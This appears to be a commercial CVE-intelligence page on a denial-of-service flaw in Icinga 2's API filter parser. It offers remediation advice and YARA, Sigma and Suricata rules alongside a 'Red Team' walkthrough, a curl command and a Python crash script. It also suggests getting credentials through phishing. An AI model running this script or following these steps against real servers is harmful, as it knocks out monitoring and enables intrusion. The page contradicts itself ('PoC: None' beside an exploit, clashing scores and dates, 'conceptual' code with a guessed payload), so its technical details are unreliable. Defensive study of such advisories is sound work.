☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-61908

CVE-2025-61908 Supply Chain Attack in Icinga
📅 PUBLISHED: 2025-10-16 17:16 UTC 🔄 UPDATED: 2026-10-02 19:32 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61908 is a denial-of-service (DoS) vulnerability in Icinga 2, an open-source monitoring system. The flaw resides in the filter expression parser, where creating an invalid reference (e.g., a reference to null) and subsequently dereferencing it causes a segmentation fault. This allows any authenticated API user with access to an endpoint that accepts filter expressions to crash the Icinga 2 daemon, leading to service disruption. The vulnerability affects versions from 2.10.0 up to (but not including) 2.13.13, 2.14.7, and 2.15.1. No public proof-of-concept (PoC) or exploit code has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core application flaw in the Icinga 2 monitoring software. Organizations using Icinga 2 should treat this as a critical supply chain risk due to the potential for complete monitoring blackout.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – An attacker needs valid API credentials.
  • User Interaction: None (UI:N) – No user action is needed.
  • Scope: Unchanged (S:U) – The exploit does not affect other components.
  • Confidentiality Impact: None (C:N) – No data is exposed.
  • Integrity Impact: None (I:N) – No data is modified.
  • Availability Impact: High (A:H) – The service is completely disrupted.

Threat Level: Medium. While the CVSS score is 6.5, the potential for a complete monitoring outage makes this a high-priority fix for security teams.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference (CWE-476) in the Icinga 2 filter expression engine. When a user submits a filter expression that creates an invalid reference (e.g., a reference to a null object), the code attempts to dereference that pointer without proper validation. This results in a segmentation fault, crashing the icinga2 daemon.

Root Cause: The filter expression parser does not sanitize or validate references before dereferencing them. Specifically, when an expression like host.name == null or a more complex nested reference is evaluated, the internal object lookup can return a null pointer. The subsequent dereference of this null pointer causes the crash.

Attack Vector: An authenticated API user sends a crafted HTTP request to an API endpoint that accepts filter expressions (e.g., /v1/objects/hosts, /v1/objects/services). The filter parameter contains a malicious expression that triggers the null dereference.

Impact: Successful exploitation results in a denial-of-service condition. The Icinga 2 daemon crashes, stopping all monitoring, alerting, and data collection. The service must be manually restarted, leading to a gap in monitoring coverage.

Vulnerable vs. Patched Code

The vulnerable code is in the filter expression evaluation logic. The exact location is in the FilterUtility or similar class responsible for evaluating filter expressions.

Vulnerable Code (Conceptual):

// In FilterExpression::Evaluate()
Object::Ptr obj = GetObjectFromReference(ref);
// No null check before dereference
Value result = obj->GetAttribute(attr); // Segmentation fault if obj is null

Patched Code (Conceptual):

// In FilterExpression::Evaluate()
Object::Ptr obj = GetObjectFromReference(ref);
if (!obj) {
    // Return a default value or throw an exception
    return Value(); // Or throw FilterExpressionError("Invalid reference");
}
Value result = obj->GetAttribute(attr);

The patch adds a null check before dereferencing the object pointer. If the reference is invalid, the expression evaluation returns a default value or raises an error, preventing the crash.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Valid API credentials (username/password or API token).
  • Network access to the Icinga 2 API endpoint (default port 5665).

Exploitation Steps:

  1. Identify Target: Scan for Icinga 2 instances (default port 5665).
  2. Authenticate: Obtain valid credentials (e.g., via phishing, default creds, or previous compromise).
  3. Craft Payload: Create a filter expression that creates an invalid reference. For example:
    filter="host.name == null"
    
    Or a more complex expression that forces a null reference:
    filter="host.vars.nonexistent == \"value\""
    
  4. Send Request: Use curl or a custom script to send the request to the API.
    curl -k -u 'username:password' \
      -H 'Accept: application/json' \
      -H 'X-HTTP-Method-Override: GET' \
      'https://icinga2-server:5665/v1/objects/hosts?filter=host.name==null'
    
  5. Verify Crash: The Icinga 2 daemon will crash. Monitoring will stop. The service will need to be restarted.

Automation Script (Python):

import requests
import sys

def exploit(target, username, password):
    url = f"https://{target}:5665/v1/objects/hosts"
    params = {"filter": "host.name == null"}
    try:
        response = requests.get(url, auth=(username, password), params=params, verify=False)
        print(f"Request sent. Response: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Connection error - daemon may have crashed.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target> <username> <password>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Blue Team (Defense & Detection)

Detection:

  • Monitor Icinga 2 daemon logs for segmentation faults or crashes.
  • Monitor API logs for unusual filter expressions, especially those containing null or invalid references.
  • Set up process monitoring to alert on icinga2 daemon termination.

Mitigation:

  • Immediate: Restrict API access to trusted IPs and users. Implement rate limiting.
  • Patch: Upgrade to Icinga 2 version 2.13.13, 2.14.7, or 2.15.1.
  • Workaround: If patching is not possible, disable the API or restrict filter expression usage via a reverse proxy (e.g., Nginx) that validates filter parameters.

Lab Setup:

  1. Install Vulnerable Version: Deploy Icinga 2 version 2.10.0 to 2.15.0 in a VM or container.
  2. Configure API: Enable the API and create a user with read-only access.
  3. Test Exploit: Run the Red Team exploit script against the lab instance.
  4. Monitor: Observe the crash in the Icinga 2 logs (/var/log/icinga2/icinga2.log).

Indicators of Compromise (IOCs)

  • Log Entry: Segmentation fault in Icinga 2 daemon logs.
    critical/Process: PID 12345 crashed with SIGSEGV
    
  • API Request: HTTP requests to /v1/objects/* with filter parameters containing null or invalid references.
  • Service Disruption: Sudden loss of monitoring data and alerts.
  • Process Termination: The icinga2 process exits unexpectedly.

Detection Engineering

YARA Rule

rule CVE_2025_61908_Icinga2_Null_Deref {
    meta:
        description = "Detects Icinga 2 filter expressions attempting null dereference"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-61908"
    strings:
        $filter_null = /filter=.*null/i
        $filter_ref = /filter=.*\.\w+\s*==\s*null/i
    condition:
        any of them
}

Sigma Rule

title: Icinga 2 API Filter Null Dereference Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-61908 via API filter expressions
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: icinga2
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'filter='
        cs-uri-query|contains|all:
            - 'null'
            - '=='
    condition: selection
falsepositives:
    - Legitimate use of null in filter expressions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61908 Icinga 2 API Filter Null Dereference Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/v1/objects/"; http_uri;
    content:"filter="; http_uri;
    pcre:"/filter=[^&]*null[^&]*==/i";
    classtype:attempted-dos;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

  1. Patch Immediately: Upgrade Icinga 2 to version 2.13.13, 2.14.7, or 2.15.1.
  2. Restrict API Access: Use firewall rules to limit API access to trusted IP addresses.
  3. Implement Rate Limiting: Configure rate limiting on the API to reduce the impact of repeated exploitation attempts.
  4. Monitor Logs: Enable detailed logging for the API and monitor for suspicious filter expressions.
  5. Use a Reverse Proxy: Place a reverse proxy (e.g., Nginx, Apache) in front of the Icinga 2 API to filter and validate incoming requests.
  6. Least Privilege: Ensure API users have the minimum necessary permissions. Avoid using administrative accounts for monitoring tasks.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61908/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.